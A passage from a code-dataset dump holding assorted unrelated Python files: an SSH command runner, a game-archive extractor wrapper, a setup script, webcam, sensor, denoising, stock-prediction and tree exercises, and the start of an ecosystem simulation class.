subprocess\n\n\ndef check_host(host):\n \"\"\"Checks if we can ssh to this host.\n \n :param host: Host to be ssh'd into\n :return: None if host is invalid, else return host from input\n \"\"\"\n try:\n if subprocess.check_call(['ssh', host, 'date'], \\\n stdout=subprocess.PIPE) == 0:\n return host\n except subprocess.CalledProcessError:\n print('Error: host %s not available.' % (host))\n\n \ndef process_commands_in_parallel(commands): # Name to be changed\n \"\"\"Use \"ssh [HOST] [COMMAND]\" to run commands on remote machines.\n Only execute once for each machine. This function runs forever,\n i.e. never terminates unless the program is terminated.\n \n :param commands: A dictionary of {\"host\": [HOSTNAME], \"command\": [COMMANDS]}\n \"\"\"\n \n for command in commands:\n host = check_host(command[\"host\"])\n cmd = command[\"command\"]\n \n if host == None:\n continue\n else:\n p = subprocess.Popen(['ssh', host, cmd])\n\n print('Submited to ' + host + ': ' + cmd)\n \n # Wait forever (Only escape using KeyboardInterrupt)\n while True:\n time.sleep(100)\n \n \nif __name__ == \"__main__\":\n process_commands_in_parallel([\n {\"host\": \"localhost\", \"command\": \"sleep 10 && echo BRUH\"},\n {\"host\": \"tst008@acet116-lnx-10.bucknell.edu\", \"command\": \"sleep 10 && echo COOL\"}\n ])","sub_path":"dopt/utils/ssh_utils.py","file_name":"ssh_utils.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88453609","text":"import os\nimport subprocess\n\nfrom scripts.config import scripts_config\nfrom scripts.logger import create_logger\n\n\n\ndef run_rpatool(use_rpa_path, extract, output=\"rpa\"):\n if use_rpa_path:\n output = os.path.join(scripts_config['rpa_path'], output)\n logger = create_logger(__name__ + \".run_rpatool\")\n logger.info(\"Started run_rpatool\")\n OS_PATH = os.getcwd()\n if extract:\n files = [extract]\n else:\n files = os.listdir(OS_PATH)\n\n for name in files:\n if name.endswith(\".rpa\"):\n arguments = [\"rpatool.py\", \"-x\", \"{}\".format(name), \"-o\", \"{}\".format(output)]\n logger.info(\"Running: {}\".format(arguments))\n process = subprocess.Popen(arguments, stderr=subprocess.STDOUT, shell=True)\n errors = process.communicate()\n for error in errors:\n if error:\n logger.warning(error)\n # subprocess.Popen(cmd, shell=True)\n else:\n logger.debug(\"Ignored: {}\".format(name))\n","sub_path":"scripts/move_to_cp/rpa.py","file_name":"rpa.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"498053179","text":"#!/usr/bin/env python\n# coding: utf-8\n\"\"\"\n.. versionadded:: 3.0.0\n.. versionchanged:: 3.0.0\n\nCopyright (c) 2016-2017, Evgeny Zdobnov (ez@ezlab.org)\nLicensed under the MIT license. See LICENSE.md file.\n\nThis script proceeds to the BUSCO packages installation\n\n\"\"\"\n\nfrom distutils.core import setup\nversion = {}\nwith open(\"src/busco/_version.py\") as version_file:\n exec(version_file.read(), version)\n\nsetup(name='BUSCO',\n version=version['__version__'],\n author='ezlab',\n license='Licensed under the MIT license. See LICENSE.md file.',\n author_email='ez@ezlab.org',\n long_description='Assessing genome assembly and annotation completeness '\n 'with Benchmarking Universal Single-Copy Orthologs ',\n url='https://busco.ezlab.org/',\n platforms='Unix like',\n packages=['busco', 'pipebricks'],\n package_dir={'busco': 'src/busco', 'pipebricks': 'src/pipebricks'}\n )\n","sub_path":"BUSCO_v3/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"331101842","text":"import cv2\r\nimport numpy as np\r\nimport pygame\r\nimport time\r\nfrom pygame import *\r\n\r\ncap = cv2.VideoCapture(0)\r\nmixer.init()\r\nm_o = (\"bell.mp3\")\r\nmixer.music.load(m_o)\r\n\r\nwhile(1):\r\n ret, frame = cap.read()\r\n frame=cv2.flip(frame,1)\r\n kernel = np.ones((3,3),np.uint8)\r\n roi = frame[100:300, 100:300]\r\n blurred_frame = cv2.GaussianBlur(roi, (5, 5), 0)\r\n hsv = cv2.cvtColor(blurred_frame, cv2.COLOR_BGR2HSV)\r\n cv2.rectangle(frame,(300,100),(100,300),(0,255,0),1)\r\n lower_skin = np.array([0,20,70], dtype=np.uint8)\r\n upper_skin = np.array([20,255,255], dtype=np.uint8)\r\n mask = cv2.inRange(hsv, lower_skin, upper_skin)\r\n mask = cv2.dilate(mask,kernel,iterations = 4)\r\n mask = cv2.GaussianBlur(mask,(5,5),100)\r\n\r\n def bell(area):\r\n if area > 500:\r\n print('ok')\r\n mixer.music.play()\r\n\r\n _, contours, _ = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n for contour in contours:\r\n cv2.drawContours(frame, contour, -2, (0, 255, 0), 3)\r\n cnt = contours[0]\r\n area = cv2.contourArea(cnt)\r\n bell(area)\r\n break\r\n \r\n cv2.imshow('frame',frame)\r\n cv2.imshow('frame2',mask)\r\n \r\n \r\n \r\n k = cv2.waitKey(5) & 0xFF\r\n if k == 27:\r\n break\r\n\r\n\r\n \r\ncv2.destroyAllWindows()\r\ncap.release() \r\n","sub_path":"bell.py","file_name":"bell.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"573892935","text":"from nidaqmxbase import NIDAQmxBase\nimport time\nfrom datetime import datetime\nimport nidaqmx\n\nclass NIDAQmxTemperature(NIDAQmxBase):\n def __init__(self):\n super().__init__()\n\n def add_channel(self, channel_name=\"cDAQ1Mod2/ai0:2\", channel_number=3):\n self.channel_name = channel_name\n self.channel_number = channel_number\n self.rate = 1.0 / self.sampleing_interval * self.channel_number\n\n def read(self):\n\n with nidaqmx.Task() as task:\n task.ai_channels.add_ai_thrmcpl_chan(self.channel_name)\n task.timing.cfg_samp_clk_timing(self.rate)\n temperature = task.read()\n data_array = [{\n \"id\": index + 1,\n \"value\": value\n } for index, value in enumerate(temperature)]\n measurement_time = time.time() - self.start\n now = datetime.now().strftime('%H:%M:%S')\n \n # write to the output file\n self.write_to_file(now, measurement_time, temperature)\n \n return_obj = {\n \"time\": measurement_time,\n \"temperature\": data_array\n }\n\n return return_obj\n","sub_path":"api/nidaqmxtemperature.py","file_name":"nidaqmxtemperature.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"157532653","text":"import numpy as np\nimport math\nimport glob\nimport imageio\n\ndef psnr(image1, image2):\n\tmse = np.mean((image1-image2)**2)\n\tif mse == 0:\n\t\treturn 100\n\tMAX = 255.0\n\treturn 20*math.log10(MAX/math.sqrt(mse))\n\ndef fill_dark_part(input_image, predicted_image, height, width, h):\n h1 = height/2-h\n h2 = height/2+h\n w1 = width/2-h\n w2 = width/2+h\n for i in range(h1,h2):\n for j in range(w1,w2):\n input_image[i][j] = predicted_image[i][j]\n print(predicted_image[i][j])\n return input_image\n\ndef load_dataset(dir_name):\n list_of_images = []\n i=0\n for image_path in glob.glob(dir_name+\"*.png\"):\n image = imageio.imread(image_path)\n ###add 2 rows and 2 columns with black pixels\n # temp1 = image.shape\n # temp1 = list(temp1)\n # temp1[1] = 2\n # temp1 = tuple(temp1)\n # blank_image = np.zeros(temp1,np.float32)\n # image = np.concatenate((image,blank_image),axis=1)\n # temp1 = image.shape\n # temp1 = list(temp1)\n # temp1[0] = 2\n # temp1 = tuple(temp1)\n # blank_image = np.zeros(temp1,np.float32)\n # image = np.concatenate((image,blank_image),axis=0)\n ###\n\n im = image.flatten()\n im = im.astype(np.float32)\n list_of_images.append(im)\n return np.array(list_of_images)\n\ndef tf_resize_images(X_img_file_paths):\n X_data = []\n tf.reset_default_graph()\n X = tf.placeholder(tf.float32, (None, None, 3))\n tf_img = tf.image.resize_images(X, (IMAGE_SIZE_X, IMAGE_SIZE_Y),tf.image.ResizeMethod.NEAREST_NEIGHBOR)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n \n # Each image is resized individually as different image may be of different size.\n for file_path in glob.glob(X_img_file_paths+\"*.png\"):\n img = mpimg.imread(file_path)[:, :, :3] # Do not read alpha channel.\n resized_img = sess.run(tf_img, feed_dict = {X: img})\n X_data.append(resized_img.flatten())\n\n X_data = np.array(X_data, dtype = np.float32) # Convert to numpy\n return X_data\n","sub_path":"src/denoising/encoder-decoder/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"94404269","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nimport tensorflow as tf\n\nv1 = tf.constant(1, name=\"value1\")\nprint(v1)\ngraph =tf.get_default_graph()\nops = graph.get_operations()\nfor op in ops:\n print(op)\n\n\n# import tensorflow as tf\n# v1 = tf.constant(1, name=\"value1\")\n# v2 = tf.constant(2, name=\"value2\")\n# add_op = tf.add(v1, v2, name=\"add_op_name\")\n\n# graph =tf.get_default_graph()\n# options = graph.get_operations()\n# print(\"operations:\")\n# for op in options:\n# print(op)\n","sub_path":"tfex/Chap3/ex3-3.py","file_name":"ex3-3.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"212255294","text":"class node:\n def __init__(self, number):\n self.number = number\n self.parent = None\n self.right = None\n self.left = None\n def getRightChild(self):\n return self.right\n def getLeftChild(self):\n return self.left\n def getnumber(self):\n return self.number\n def setParent(self, p):\n self.parent=p\n def addRightChild(self, hnode):\n self.right=hnode\n hnode.setParent(self)\n def addLeftChild(self, hnode):\n self.left=hnode\n hnode.setParent(self)\n def hasRightChild(self):#print need#\n return (self.right!=None)\n def hasLeftChild(self):\n return (self.left!=None)\nclass BST:\n def __init__(self):\n self.root=None\n self.size=0\n def isEmpty(self):\n return (self.size==0)\n def add(self,key):\n if self.isEmpty():\n self.root = node(key)\n self.size = self.size+1#size+1#\n else:\n start = self.root\n while True:\n if start.getnumber() >= key:#>=#\n if start.getLeftChild() == None:\n start.addLeftChild(node(key))\n break\n else:\n start = start.getLeftChild()\n else:\n if start.getRightChild() == None:\n start.addRightChild(node(key))\n break\n else:\n start = start.getRightChild()\n self.size = self.size+1\n def inorder(self,start):#start = root node#node need recursion\n if start==None:#mean no root#\n print('null',end = '')#also end#\n else:\n if start.hasLeftChild():\n self.inorder(start.getLeftChild())\n print(start.getnumber(),end = ' ')#end + \\n#\n if start.hasRightChild():#list also cant#\n self.inorder(start.getRightChild())\ntree = BST()\nwhile True:\n want = input()\n if want == 'e':\n break\n elif want == 'p':\n tree.inorder(tree.root)#start root#\n print()#\\n#\n elif want == 'i':\n addnum = int(input())\n tree.add(addnum)\n","sub_path":"ds/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"469553701","text":"#db = MongoClient()['IQAS']\nfrom .analytics.mongo import db\n\n\ndef fetch_report_schema(name):\n \"\"\"Get a `report` schema, given the name of the report.\n\n Parameters\n ----------\n name : str\n Name of the `report`\n\n Returns\n -------\n dict\n Report schema\n\n \"\"\"\n x = db.reports.find_one({\"name\": name})\n print(\"fetched record for name {}\".format(name))\n print(x)\n try:\n return next(x)\n except:\n return x\n","sub_path":"reports/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490702265","text":"import kerasPredict.model.lstmTimeSeries as lstm\nimport time\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport getStockData\nimport lstm_cnn.tempcode as tpc\nimport keras.backend.tensorflow_backend as KTF\nimport tensorflow as tf\nfrom keras import optimizers,losses\nimport lstm_cnn.Evaluate as eva\nimport lstm_cnn.DataLoad as dtload\n\nKTF.set_session(tf.Session(config=tf.ConfigProto(device_count={'cpu':0})))\n\ndef back_price0(nor_data,ori_data):\n\tback_nor_data = []\n\tfor (y,oridata) in zip(nor_data,ori_data):\n\t\tback_nor = (y*2)*oridata[0]+oridata[0]\n\t\tback_nor_data.append(back_nor)\n\treturn back_nor_data\n\ndef back_price(y,ori_data):\n back_price = []\n for (prc,oridata) in zip(y,ori_data):\n backPrice = (prc+1)*oridata[-1]\n back_price.append(backPrice)\n return back_price\n\ndef pred_test(code,is_save=False,index_num=0,sum_epoch=0,pos_range=0):\n\n\tpos_x, pos_target,pos_cls = getStockData.get_test_data(code=code,pos_range=pos_range)\n\tpos_target = tpc.toTen(pos_target, 101)\n\tpos_x_cnn = np.reshape(pos_x, [pos_x.shape[0], 1, 100, 5])\n\t#pos_x_test,y_train = tpc.xTo2D(X_train,y_train,150)\n\n\tpredict_ten = model.predict([pos_x,pos_x_cnn])\n\tbelieve_P = np.max(predict_ten,1) * 100\n\tpredict_pos=[]\n\ty_pos = []\n\tfor i in range(len(predict_ten)):\n\t\tpredict_pos.append(np.argmax(predict_ten[i,:]))\n\t\tif i < len(pos_target):\n\t\t\ty_pos.append(np.argmax(pos_target[i,:]))\n\tplt.plot(predict_pos,label='pred')\n\tplt.plot(y_pos,label='true')\n\tplt.plot(pos_cls * 3, label='close')\n\t# plt.plot(believe_P,label='believe')\n\tplt.legend(loc='upper right')\n\tplt.rcParams['figure.figsize'] = (16.0, 8.0)\n\tplt.show()\n\tplt.rcParams['savefig.dpi'] = 700\n\tmodel_name = str(index_num) + '_' + str(sum_epoch) + '_pos_' + str(pos_range) + '_lstm_model'\n\tplt.savefig('modelfiles/' + model_name + code + '.png', format='png',dpi=700)\n\tplt.close()\n\n\ttarget_len = len(y_pos)\n\tpred = predict_pos[:target_len]\n\ttrue = y_pos\n\twmae = eva.WMAE(predict_pos,true)\n\teval_result = eva.evalute_result(predict_pos,y_pos)\n\n\n\tif is_save:\n\t\tresult_sum = 'epoch:'+str(sum_epoch)+' loss:'+str(new_loss)+' evaluate:'+str(eval_result)+' code:'+str(code) + '\\n'\n\t\teval_save = open('result.txt','a')\n\t\teval_save.write(result_sum)\n\t\teval_save.close()\n\n\n\n\n\n\nif __name__=='__main__':\n\tglobal_start_time = time.time()\n\tepochs = 17\n\tseq_len = 100\n\tPOS = 'pos'\n\tCLS = 'cls'\n\n\ttrain_mode = POS\n\n\tprint('> Loading data... ')\n\t#nor_result = result\n\tpath = 'datafiles/'\n\tpos_range=0.4\n\tif True:\n\t\tdataLoad = dtload.DataLoad();\n\t\tfile_name= path + 'pos_'+str(pos_range)+'_' #pos_40_train_z.npz\n\t\t(result, no_pos), (cls_train, pos_train)= dataLoad.data_save(train_mode,file_name=file_name,pos_range=pos_range)\n\t\t#filename='pos_40_' : 转折幅度为40%的训练数据\n\t\t#(result, no_pos), (cls_train, pos_train) = getStockData.dataFrameToTrain('002594')\n\telse:\n\t\tfile_name = 'pos_'+str(pos_range)+'_'\n\t\tif train_mode == CLS: cls_train = np.load(path + file_name + 'train_z.npz')\n\t\tif train_mode == POS: pos_train = np.load(path + file_name + 'train_pos_z.npz')\n\t(X_train, y_train, X_test, y_test), \\\n\t(test_x_ori, test_y_ori, train_x_ori, train_y_ori)\\\n\t\t= map_to_train(train_mode)\n\tprint('> Data Loaded. Compiling...')\n\n\ty_test = tpc.toTen(y_test,101)\n\ty_train = tpc.toTen(y_train,101)\n\n\t#X_train,y_train = tpc.xTo2D(X_train,y_train,150)\n\t#X_test,y_test = tpc.xTo2D(X_test,y_test,150)\n\txcnn_train = np.reshape(X_train, [X_train.shape[0], 1, 100, 5])\n\txcnn_test = np.reshape(X_test, [X_test.shape[0], 1, 100, 5])\n\n\n\tstart = time.time()\n\tinput_nodes = X_train.shape[2]\n\tif y_train.ndim == 1:\n\t\toutput_nodes = 1\n\telse:\n\t\toutput_nodes = y_train.shape[1]\n\n\n\tmodel,model_dr = lstm.share_model3(class_num=101)\n\tmodel.summary()\n\n\tsum_epoch = 11\n\n\t# loss_model = losses.tr_distance_categorical_crossentropy\n\t#loss_model = losses.mae_categorical_crossentropy\n\tloss_model = losses.categorical_crossentropy\n\t# loss_model = losses.mae_dis_categorical_crossentropy\n\trmsprop = optimizers.RMSprop(lr=0.001, rho=0.9, epsilon=1e-06)\n\tmodel.compile(loss=loss_model, optimizer=rmsprop, metrics=['accuracy'])\n\n\tfor _ in range(5):\n\t\t#pre_loss = new_loss.copy()\n\t\tepochs = 2\n\t\thist = model.fit(\n\t\t\t[X_train,xcnn_train],\n\t\t\ty_train,\n\t\t\tbatch_size =70,\n\t\t\tnb_epoch = epochs,\n\t\t\tvalidation_split = 0.4,\n\t\t\t#class_weight={0:2, 1:1.8, 2:1.8, 3:0.6, 4:0.1, 5:0.1, 6:0.1, 7:0.6, 8:1.8, 9:1.8, 10:2}\n\t\t\t#class_weight = {0: 1.8, 1: 1.8, 2: 1.8, 3: 0.1, 4: 0.1, 5: 0.1, 6: 0.1, 7: 0.1, 8: 0.1, 9: 0.1, 10: 0.1}\n\t\t\t#class_weight={0: 0.1, 1: 0.1, 2: 0.1, 3: 0.1, 4: 0.1, 5: 0.1, 6: 0.1, 7: 0.1, 8: 1.8, 9: 1.8, 10: 1.8}\n\t\t)\n\t\tsum_epoch += epochs\n\t\tnew_loss = hist.history['loss']\n\n\t\tindex_num = 125\n\t\tmodel_path = 'modelfiles2019/'\n\t\tmodel_name=str(index_num)+ '_' + str(sum_epoch) + '_pos_'+str(pos_range)+'_lstm_model' #37_pos_40_lstm_model\n\t\tmodel.save(model_path + model_name+'.h5')\n\t\tmodel.save_weights(model_path + model_name+'_weights.h5')\n\n\t\t# model_name = '2_69_pos_0.6_lstm_model' # 37_pos_40_lstm_model\n\t\t# model_name = '0_minErr_19_pos_0.15_lstm_model'\n\t\t# model = load_model('modelfiles/'+ model_name + '.h5')\n\t\t# model.load_weights('modelfiles/'+ model_name + '_weights.h5')\n\n\n\t\tprint('fitTime:',time.time()-start)\n\t\t#predictions = lstm.predict_sequences_multiple(model, X_test, seq_len, 50)\n\n\t\t#print('Training duration (s) : ', time.time() - global_start_time)\n\t\t#plot_results_multiple(predictions, y_test, 49)\n\t\tcode_list=['002154','000536','600108','601006',]\n\t\t#code='002154'\n\t\tfor code in code_list:\n\t\t\tpos_x, pos_target,pos_cls = getStockData.get_test_data(code=code,pos_range=pos_range)\n\t\t\tpos_target = tpc.toTen(pos_target, 101)\n\t\t\tpos_x_cnn = np.reshape(pos_x, [pos_x.shape[0], 1, 100, 5])\n\t\t\t#pos_x_test,y_train = tpc.xTo2D(X_train,y_train,150)\n\n\t\t\tpredict_ten = model.predict([pos_x,pos_x_cnn])\n\t\t\tbelieve_P = np.max(predict_ten,1) * 100\n\t\t\tpredict_pos=[]\n\t\t\ty_pos = []\n\t\t\tfor i in range(len(predict_ten)):\n\t\t\t\tpredict_pos.append(np.argmax(predict_ten[i,:]))\n\t\t\t\tif i < len(pos_target):\n\t\t\t\t\ty_pos.append(np.argmax(pos_target[i,:]))\n\t\t\tplt.plot(predict_pos,label='pred')\n\t\t\tplt.plot(y_pos,label='true')\n\t\t\tplt.plot(pos_cls * 3, label='close')\n\t\t\t# plt.plot(believe_P,label='believe')\n\t\t\tplt.legend(loc='upper right')\n\t\t\tplt.rcParams['figure.figsize'] = (16.0, 8.0)\n\t\t\tplt.show()\n\t\t\tplt.rcParams['savefig.dpi'] = 700\n\t\t\tmodel_name = str(index_num) + '_' + str(sum_epoch) + '_pos_' + str(pos_range) + '_lstm_model'\n\t\t\tplt.savefig( model_path + model_name + code + '.png', format='png',dpi=700)\n\t\t\tplt.close()\n\n\t\t\teval_result = evalute_result(predict_pos,y_pos)\n\t\t\tresult_sum = 'epoch:'+str(sum_epoch)+' loss:'+str(new_loss)+' evaluate:'+str(eval_result)+' code:'+str(code) + '\\n'\n\t\t\teval_save = open('result.txt','a')\n\t\t\teval_save.write(result_sum)\n\t\t\teval_save.close()\n\n\n\tpre_mean_bottom = evalute_result(predict_pos,y_pos)\n\tmin_mean_bottom = pre_mean_bottom.copy()\n\tlrs = 0.0001\n\n\tfor _ in range(5):\n\t\tepochs = 1\n\t\thist = model.fit(\n\t\t\t[X_train, xcnn_train],\n\t\t\ty_train,\n\t\t\tbatch_size=70,\n\t\t\tnb_epoch=epochs,\n\t\t\tvalidation_split=0.5,\n\t\t\t# class_weight={0:2, 1:1.8, 2:1.8, 3:0.6, 4:0.1, 5:0.1, 6:0.1, 7:0.6, 8:1.8, 9:1.8, 10:2}\n\t\t\t# class_weight = {0: 1.8, 1: 1.8, 2: 1.8, 3: 0.1, 4: 0.1, 5: 0.1, 6: 0.1, 7: 0.1, 8: 0.1, 9: 0.1, 10: 0.1}\n\t\t\t# class_weight={0: 0.1, 1: 0.1, 2: 0.1, 3: 0.1, 4: 0.1, 5: 0.1, 6: 0.1, 7: 0.1, 8: 1.8, 9: 1.8, 10: 1.8}\n\t\t)\n\t\tsum_epoch += epochs\n\n\n\t\tpredict_ten = model.predict([pos_x,pos_x_cnn])\n\t\tbelieve_P = np.max(predict_ten, 1) * 100\n\t\tpredict_pos = []\n\t\tfor i in range(len(predict_ten)):\n\t\t\tpredict_pos.append(np.argmax(predict_ten[i, :]))\n\t\tmean_bottom = evalute_result(predict_pos,y_pos)\n\n\t\tprint(mean_bottom)\n\n\t\tif mean_bottom < min_mean_bottom:\n\t\t\tmodel_name = str(index_num) + '_minErr_' + str(sum_epoch) + '_pos_' + str(\n\t\t\t\tpos_range) + '_lstm_model' # 37_pos_40_lstm_model\n\t\t\tmodel.save('modelfiles/' + model_name + '.h5')\n\t\t\tmodel.save_weights('modelfiles/' + model_name + '_weights.h5')\n\t\t\tplt.close()\n\t\t\tplt.plot(predict_pos, label='pred')\n\t\t\tplt.plot(y_pos, label='true')\n\t\t\tplt.plot(pos_cls * 3,label = 'close')\n\t\t\tplt.plot(believe_P, label='believe')\n\t\t\tplt.legend(loc='upper right')\n\t\t\tplt.rcParams['figure.figsize'] = (16.0, 8.0)\n\t\t\tplt.show()\n\t\t\tplt.rcParams['savefig.dpi'] = 700\n\t\t\tmodel_name = str(index_num) + '_minErr_' + str(sum_epoch) + '_pos_' + str(pos_range) + '_lstm_model'\n\t\t\tplt.savefig('modelfiles/' + model_name + code + '.png', format='png', dpi=700)\n\t\t\tplt.close()\n\n\t\t\tmin_mean_bottom = mean_bottom.copy()\n\t\telif mean_bottom > pre_mean_bottom:\n\t\t\tlrs *= 0.65\n\t\t\trmsprop = optimizers.RMSprop(lr=lrs, rho=0.9, epsilon=1e-06)\n\t\t\t# opt = keras.optimizers.rmsprop(lr=0.001, decay=1e-6)\n\t\t\t# loss_model = losses.pos_error\n\t\t\t# loss_model_mae = losses.mean_absolute_error\n\t\t\tmodel.compile(loss=losses.categorical_crossentropy, optimizer=rmsprop, metrics=['accuracy'])\n\n\t\tpre_mean_bottom = mean_bottom.copy()\n\n\n\nsma_pred_15 = getStockData.SMA(predict_pos,15,1)\n# ma_pre = getStockData.MA(predict_pos,10)\nplt.plot(sma_pred_15,label='sma_pred_15')\n\nfive = [5] *len(predict_pos)\nplt.plot(five)\neighty = [85] * len(predict_pos)\nplt.plot(eighty)\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"lstm_cnn/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"497858409","text":"# -*- coding:utf-8 -*-\nglobal readfile\nglobal writefile\nglobal inFp3\nimport sys\n\n\ndef foundoffset(inFp):\n blank=[]\n inFp = open(readfile, \"rb\")\n inFp.read(0xC)\n for i in range(1,5):\n startpath=inFp.read(1)\n temp=hex(ord(startpath))\n if(temp==\"0x0\"):\n temp=\"0x00\"\n blank.append(temp) #각각 읽어 blank에 추가\n blank.reverse() #리틀엔디안->빅엔디안\n pointer=\"\"\n pointer += blank[0]\n pointer += blank[1]\n pointer += blank[2]\n pointer += blank[3]\n pointer=pointer.replace(\"0x\",\"\")\n result=\"0x\"+pointer\n inFp.close()\n return int(result,16)\n\ndef nextoffset(nextoffset):\n blank=[]\n inFp3.read(nextoffset)\n for i in range(1,5):\n startpath=inFp3.read(1)\n temp=hex(ord(startpath))\n if(temp==\"0x0\"):\n temp=\"0x00\"\n if(temp==\"0x1\"):\n temp=\"0x01\"\n if(temp==\"0x2\"):\n temp=\"0x02\"\n if(temp==\"0x3\"):\n temp=\"0x03\"\n if(temp==\"0x4\"):\n temp=\"0x04\"\n if(temp==\"0x5\"):\n temp=\"0x05\"\n if(temp==\"0x6\"):\n temp=\"0x06\"\n if(temp==\"0x7\"):\n temp=\"0x07\"\n if(temp==\"0x8\"):\n temp=\"0x08\"\n if(temp==\"0x9\"):\n temp=\"0x09\"\n if(temp==\"0xa\"):\n temp=\"0x0A\"\n if(temp==\"0xb\"):\n temp=\"0x0B\"\n if(temp==\"0xc\"):\n temp=\"0x0C\"\n if(temp==\"0xd\"):\n temp=\"0x0D\"\n if(temp==\"0xe\"):\n temp=\"0x0E\"\n if(temp==\"0xf\"):\n temp=\"0x0F\"\n blank.append(temp) #각각 읽어 blank에 추가\n\n blank.reverse() #리틀엔디안->빅엔디안\n pointer=\"\"\n pointer += blank[0]\n pointer += blank[1]\n pointer += blank[2]\n pointer += blank[3]\n pointer=pointer.replace(\"0x\",\"\")\n result=\"\"\n result+=pointer\n result=result.upper()\n\n return result\n\n\nreadfile=sys.argv[1]\ntry:\n writefile = sys.argv[2]\nexcept:\n writefile=readfile\n writefile+=\".txt\"\ninFp=0\ntexts=[]\nlongoffset=0 #시작부터 끝까지 0으로 초기화가 안됨\nshortoffset=0 #한번 찾으면 바로 초기화\n\nstartoffset=foundoffset(inFp) #오프셋찾기(0x0c)\ninFp=open(readfile,\"rb\")\noutFp=open(writefile,\"w\")\ninFp3 = open(readfile, \"rb\")\ninFp3.read(0xC)\n\ns = inFp.read(startoffset)\nlenscrpit=0\n\nwhile True:\n if s == '':\n break\n s = inFp.read(1)\n if (len(s)==0):\n break\n if s == '':\n break\n if(ord(s)==00): #마지막일경우\n if(lenscrpit==0):\n resultoffset = nextoffset(0)\n else:\n resultoffset=nextoffset(4)\n lenscrpit += 1\n inFp2 = open(readfile, \"rb\")\n a=inFp2.read(startoffset) #처음 커서까지 이동\n if(longoffset!=0):\n a = inFp2.read(longoffset) # 방금까지의 오프셋으로 이동\n a = inFp2.read(shortoffset) # 총 대사길이 읽기\n else:\n a = inFp2.read(shortoffset) # 총 대사길이 읽기\n longoffset+=shortoffset+1 #방금까지 오프셋 추가\n a=str(a)\n\n print(a[1:])\n outFp.write(str(resultoffset))\n outFp.write(\",\")\n outFp.write(str(shortoffset))\n outFp.write(\",\")\n outFp.write(a[2:-1])\n outFp.write(\"\\n\")\n a=inFp.read(1)\n shortoffset = 0 # 대사길이 초기화\n shortoffset+=1 #대사길이 추가\nprint(\"Done!\")\ninFp.close()\ninFp3.close()\noutFp.close()\n","sub_path":"Deprecated/RF WQSG Text Dump.py","file_name":"RF WQSG Text Dump.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"356574196","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n:mod: `biosim.animal` provides the user information about the fauna on\n Rossumøya.\n\n\nThe different species on Rossumøya have certain characteristics in common, \nbut also some differences. This script has all the characteristics for the\nHerbivores and Carnivores stored in superclasses and subclasses.\n\nThis file can be imported as a module and contains the following\nclasses:\n\n * BaseAnimal - Superclass and the basic characteristics that all of the\n species in Rossumøya has in common.\n\n * Herbivore(BaseAnimal) - Subclass of BaseAnimal and characteristics for\n the Herbivore species.\n\n * Carnivore(BaseAnimal) - Subclass of BaseAnimal and characteristics for\n the Carnivore species.\n\n.. note::\n * This script requires that `numpy` and `numba` are installed\n within the Python environment you are running this script in.\n\"\"\"\n\n__author__ = 'Julie Forrisdal', 'Marisha Gnanaseelan'\n__email__ = 'juforris@nmbu.no', 'magn@nmbu.no'\n\nimport random\nimport math\nfrom numba import jit\n\n\n\nclass BaseAnimal:\n \"\"\"Superclass for animals in BioSim.\"\"\"\n\n @classmethod\n def set_parameters(\n cls,\n w_birth,\n sigma_birth,\n beta,\n eta,\n a_half,\n phi_age,\n w_half,\n phi_weight,\n mu,\n lambda_,\n gamma,\n zeta,\n xi,\n omega,\n F,\n *args,\n **kwargs\n ):\n \"\"\"\n Set default parameters for class Animal.\n\n :param w_birth: Constant\n :type w_birth: float\n :param sigma_birth: Constant\n :type sigma_birth: float\n :param beta: Constant used to calculate weight gain\n :type beta: float\n :param eta: Constant used to calculate weight loss\n :type eta: float\n :param a_half: Constant\n :type a_half: float\n :param phi_age: Constant\n :type phi_age: float\n :param w_half: Constant\n :type w_half: float\n :param phi_weight: Constant\n :type phi_weight: float\n :param mu: Constant used to calculate probability to move\n :type mu: float\n :param lambda_: Constant\n :type lambda_: float\n :param gamma: Constant used to calculate the probability to give birth\n to an offspring in a year\n :type gamma: float\n :param zeta: Constant\n :type zeta: float\n :param xi: Constant\n :type xi: float\n :param omega: Constant used to calculate the probability\n of an animal dying\n :type omega: float\n :param F: Appetite of the species\n :type F: float\n :param args: Extra arguments\n :type args: *tuple\n :param kwargs: Extra keyword arguments\n :type kwargs: **dict\n \"\"\"\n\n if w_birth >= 0:\n cls.w_birth = w_birth\n else:\n raise ValueError('w_birth can not be a negative value.')\n if sigma_birth >= 0:\n cls.sigma_birth = sigma_birth\n else:\n raise ValueError('sigma_birth can not be a negative value.')\n if beta >= 0:\n cls.beta = beta\n else:\n raise 